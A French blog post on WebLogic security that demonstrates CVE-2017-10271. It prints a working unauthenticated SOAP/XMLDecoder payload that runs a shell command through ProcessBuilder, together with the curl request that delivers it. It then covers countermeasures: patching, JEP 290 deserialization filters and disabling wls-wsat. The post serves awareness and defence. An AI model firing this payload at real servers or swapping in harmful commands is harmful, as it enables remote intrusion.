Sécurité des serveurs et la nécessité de les patcher

Lors de mes différentes interventions, j’essaie de sensibiliser les clients à la nécessité de prendre en compte la sécurité des serveurs J2EE. Je dis bien « j’essaie » car bon nombre d’entre eux ne me semblent pas totalement conscients des risques. Sous prétexte d’être cachés derrière une armée de pare-feux certains pensent être à l’abri d’attaques sur leurs serveurs d’applications.

 

Au travers de cet article je souhaite montrer la simplicité avec laquelle il est possible d’exécuter du code sur un serveur distant via une simple requête HTTP.

La « faille » que j’utilise pour les besoins de la démonstration est la CVE-2017-10271
Publiée en octobre 2017, cette faille concerne Oracle WebLogic Server pour les versions 10.3.6.0.0, 12.1.3.0.0, 12.2.1.1.0 et 12.2.1.2.0
Les versions antérieurs à la 10.3.6 sont sans doutes concernées mais Oracle ne fournit aucune informations sur ces versions pour lesquelles il n’existe plus de support.

La CVE-2017-10271 indique un vecteur d’attaque par le protocole interne de WebLogic « T3 » mais c’est bien une simple requête HTTP qui permet à un attaquant de déclencher l’exécution d’un code sur un serveur distant.

Les informations indiquées dans cet article ont pour unique vocation d’instruire le lecteur et de le sensibiliser à la sécurité des serveurs. Ces informations sont publiques et disponibles depuis plusieurs mois sur internet. Ces informations ne sauraient être utilisées à des fins malveillantes.

Le vecteur est donc une requête HTTP. La cible de la requête est une application web déployée en interne par WebLogic : wls-wsat

WSAT est l’acronyme de Web Services Atomic Transactions. Ce composant permet une interopérabilité de la stack web service de WebLogic avec d’autres systèmes transactionnels comme .NET ou WebSphere par exemple. Il étend les capacités de l’implémentation JAX-WS de WebLogic Server.

Démonstration

Les chapitres montrent comment effectuer l’attaque sur un serveur WebLogic en fonctionnement.

La faille exploitée

Pour une énième fois la faille porte sur la désérialisation des objets Java. Véritable cauchemar depuis son apparition dans Java, sa capacité de sérialisation/déserialisation des objets ne fait que poser des problèmes en terme de sécurité. Le problème vient de la désérialisation des objets qui ne contrôle pas ce quelle créée comme types d’objets au sein de la JVM. Ajouté à cela les capacités d’introspection de la JVM et vous avez une parfaite boîte à outils pour hacker.

L’environnement

Serveur d’application : WebLogic Server 10.3.6.0.0

Un domaine WebLogic avec 1 ou plusieurs serveurs en mode PRODUCTION.

Système d’exploitation : A votre convenance

Outils :

  • Editeur de textes ou SOAP-UI
  • curl

Préparation

L’attaque est réalisée en soumettant un payload à un des web services exposés par l’application web wls-wsat :

  • CoordinatorPortType
  • RegistrationPortTypeRPC
  • ParticipantPortType
  • RegistrationRequesterPortType
  • CoordinatorPortType11
  • RegistrationPortTypeRPC11
  • ParticipantPortType11
  • RegistrationRequesterPortType11

Enregistrer le payload suivant dans un fichier texte sur le disque dur :

Payload XML
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> 
	<soapenv:Header>
		<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"> 
			<java version="1.6_0.29" class="java.beans.XMLDecoder"> 
			<void class="java.lang.ProcessBuilder"> 
				<array class="java.lang.String" length="3">
				<void index = "0">
					<string>cmd</string>
				</void>
				<void index = "1"> 
					<string>/c</string> 
				</void>
				<void index = "2">
					<string>echo hello > cve.txt</string>
				</void>
			</array>
			<void method="start"/>
			</void>
			</java>
			</work:WorkContext> 
	</soapenv:Header> 
<soapenv:Body/>
</soapenv:Envelope>

La commande distante à exécuter est à inscrire directement dans le payload en utilisant les 3 paramètres de la méthode « start ». L’exemple a été exécuté sous Windows et déclenche la commande « cmd /c echo hello > cve.txt » Elle écrira donc le texte « hello » dans le fichier cve.txt à la racine du domaine.

Je laisse libre cours à votre imagination pour trouver d’autres commandes à exécuter à distance.

Remarque importante : nul besoin d’être authentifié auprès du serveur pour que l’attaque aboutisse.

Déclenchement

Une fois le fichier avec le payload prêt, il suffit de l’envoyer vers le serveur. L’utilitaire curl suffit pour ça :

La commande curl qui permet d'envoyer le payload vers le serveur
curl --header "Content-Type: text/xml;charset=UTF-8"  --data @payload.xml http://localhost:7001/wls-wsat/CoordinatorPortType

Le résultat de la commande ressemblera à ceci :

<?xml version='1.0' encoding='UTF-8'?><S:Envelope xmlns:S="http://schemas.xmlsoap.org/soap/envelope/"><S:Body><S:Fault xmlns:ns4="http://www.w3.org/2003/05/soap-envelope"><faultcode>S:Server</faultcode><faultstring>0</faultstring></S:Fault></S:Body></S:Envelope>

Cette réponse indique qu’une erreur s’est produite au niveau du service distant. Peu importe, le mal est fait. Inspectez le répertoire racine du domaine, vous y trouverez votre fichier.

Contre-mesures

Que faut-il faire face à ce genre de menace ?

Patcher vos serveurs

Oracle a publié un correctif dans son CPU d’octobre 2017. A installer d’urgence si ce n’est pas déjà fait.

Patcher Java

Dans le cas précis des problèmes liés à la déserialisation des objets, JAVA a été équipé d’un mécanisme de « filtrage » des objets qui sont désérialisés. Cette nouvelle capacité est décrite dans la JEP 290. L’idée est de disposer :

  • d’une liste blanche des classes pouvant être déserialisées « sans risque »
  • et d’une liste noire des classes ne devant surtout pas être désérialisées car présentant un risque fort au niveau de la sécurité

Ces 2 listes peuvent être enrichies à volonté au lancement du serveur.

WebLogic peut utiliser cette capacité sous réserve d’utiliser au minimum une des versions de java suivantes :

  • JDK 8 Update 121 (JDK 8u121) ou supérieure
  • JDK 7 Update 131 (JDK 7u131) ou supérieure
  • JDK 6 Update 141 (JDK 6u141) ou supérieure

Ne pas hésiter à consulter la documentation Oracle sur le sujet pour les détails de la mise en oeuvre.

 

Pour rappel JDK 6 n’est plus supporté par Oracle depuis décembre 2018.

Désactiver les fonctions inutiles

Pour le cas précis d’une attaque via l’application web wls-wsat il est possible de la désactiver si elle n’est pas nécessaire.

Pour cela il suffit d’ajouter la propriété suivante au démarrage des instances WebLogic du domaine (serveur d’administration inclus)

-Dweblogic.wsee.wstx.wsat.deployed=false

 

A noter également que cette application est désactivée par défaut pour les versions 12.2.1.3.x et supérieures de WebLogic.

 

Ces contre-mesures doivent venir compléter les règles de durcissement des environnements déjà en vigueur.

Conclusion

L’exploitation de la faille est donc très simple. La seule solution pour la contrer est de patcher l’installation WebLogic avec les correctifs de sécurité publiés par Oracle. Ils sont publiés tous les trimestres. A l’heure où cet article est publié, le dernier en date est celui de janvier 2019. Vous savez ce qu’il vous reste à faire.

La sécurité ne concerne évidement pas uniquement le serveur d’application. Le système d’exploitation et Java sont concernés également en tout premier lieu. Leur mise à jour régulière avec les derniers correctifs est primordiale pour limiter le risque d’une action malveillante sur les serveurs.

Les failles liées à la désérialisation des objets Java sont nombreuses et pas toujours évidentes à contrer. L’utilisation du filtrage des classes apporté par la JEP 290 peut constituer une réponse. Toutefois, il n’est pas évident de déterminer les classes qui font usage de la désérialisation. Un outil comme la « Vigie » peut apporter des réponses en pistant toutes les tentatives de désérialisations effectuées par une application Java.